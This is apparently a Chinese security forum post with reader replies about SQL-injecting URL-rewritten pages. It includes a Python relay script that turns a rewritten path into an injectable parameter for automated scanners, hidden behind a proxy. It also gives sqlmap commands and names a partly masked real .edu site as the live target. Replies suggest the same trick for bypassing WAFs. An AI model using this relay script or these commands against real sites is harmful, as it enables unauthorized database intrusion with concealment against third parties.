[渗透技巧]python脚本处理伪静态注入
目前有很多网站做了rewrite,如
/?id=1
/1
/1111.php
大趋势下,攻击的门槛逐渐增高。这样有利有弊,喜欢研究的会深入钻研,另一方面只会用工具不懂原理的则充斥到大小论坛水区。
实战举例:
http://www.bxxxxxxxxxxxx.edu/magazine/index.php/mxxxxia/gallery/dickinsons-last-dance/1
这个点存在注入
Error Number: 1064
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1dddddd, 1' at line 4
标准的显错注入。
这里测试了几个工具havij
http://www.bxxxxxxxxxxxx.edu/magazine/index.php/mxxxxia/gallery/dickinsons-last-dance/1%Inject_Here%
(竟然测出来是oracle数据库。。。)
sqlmap
safe3
穿山甲
此上都无法直接注入。
这里借助注入中转实现:
中转工具有一些 win7下会遭遇各种奇葩问题。并linux下不能使用。
用python code了一篇,为什么用python 因为他开发快,不用各种环境。
from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
def do_GET(self):
path=self.path
path=path[path.find('id=')+3:]
proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
opener = urllib2.build_opener(proxy_support)
urllib2.install_opener(opener)
url="http://www.xxxxxxxxxxxxx.edu/magazine/imedia/gallery/dickinsons-last-dance/"
try:
response=urllib2.urlopen(url+path)
html=response.read()
except urllib2.URLError,e:
html=e.read()
self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()
不到20行代码(并加入了 goagent代理for hidden )。 已经实现了要求。
http://127.0.0.1:8000/?id=1
从而达到目的。相比构造自己脚本去执行sql注入语句,要高效的多。
[原文地址]
相关讨论:
菜鸟 2013-05-27 1楼
弄个中转就是为了用个扫描器 作者奇葩
livers (3级) 2013-05-27
@菜鸟 你以为中转是用来干嘛的呢。
菜鸟 2013-05-27
@livers 菜鸟学习了 谢谢分享 作者不如改下sqlmap的代码 让sqlmap适应伪静态注入 反正都是pyhton的
null 2013-05-27 2楼
自己写个php做下中转就好了
livers (3级) 2013-05-27
@null 是的。用python 写可以不用apache 之类的环境了。还有就是快
xfk 2013-05-27 3楼
不错,跟中专注入差不错
y 2013-05-27 4楼
sqlmap 1.16
How to use sqlmap with mod_rewrite enabled?
Append an asterisk, *, to the place where sqlmap should check for injections in
URI itself. For example, ./sqlmap.py -u "http://target.tld/id1/1*/id2/2",
sqlmap will inject its payloads at that place marked with * character. This
feature also applies to POST data. Multiple injection points are supported and
will be assessed sequentially.
F03 2013-05-27 5楼
对于url rewrite,sqlmap注不出来,只能说是不会用sqlmap
anlfi (1级) ??????????????????????????... 2013-05-27
@F03 +1
用*号托托的
anlfi (1级) ??????????????????????????... 2013-05-27 6楼
urllib2 真是好用
python 一句话就解决
悲剧的C# 搞HTTP协议╮(╯▽╰)╭
做代理的方式蛮巧妙的嘛
同理应该还可以 用作绕过WAF使用
代码片段藏一下
菜鸟 2013-05-27
@anlfi 能解释的清楚些么? 绕过waf是什么意思? 给个实例代码撒。
123 2013-05-27 7楼
sqlmap.py -u "http://www.bxxxxxxxxxxxx.edu/magazine/index.php/mxxxxia/gallery/dickinsons-last-dance/1*" –dbms mysql 这样不行?
123 2013-05-27 8楼
是 –dbms 写错了
123 2013-05-27 9楼
我晕 又自己过滤掉一个 -
sqlmap.py -u "http://www.bxxxxxxxxxxxx.edu/magazine/index.php/mxxxxia/gallery/dickinsons-last-dance/1*" –-dbms mysql
global_hacker (3级) 2013-05-28 10楼
哈哈改写 sqlmap 这个想法不错啊
metaspl0it (1级) 2013-06-01 11楼
赞一个!圈内从来都不缺少思路,缺乏的正是这种共享精神~~~
愿意深入研究的童靴,参考一下这篇论文:
http://www.docin.com/p-466812138.html
《Web安全测试中URL参数重写检测框架》
121 2013-06-04 12楼
中转的这个思路好早就提出来了吧(针对伪静态的),作者只是换了个工具(PY,来完成)没看到亮点!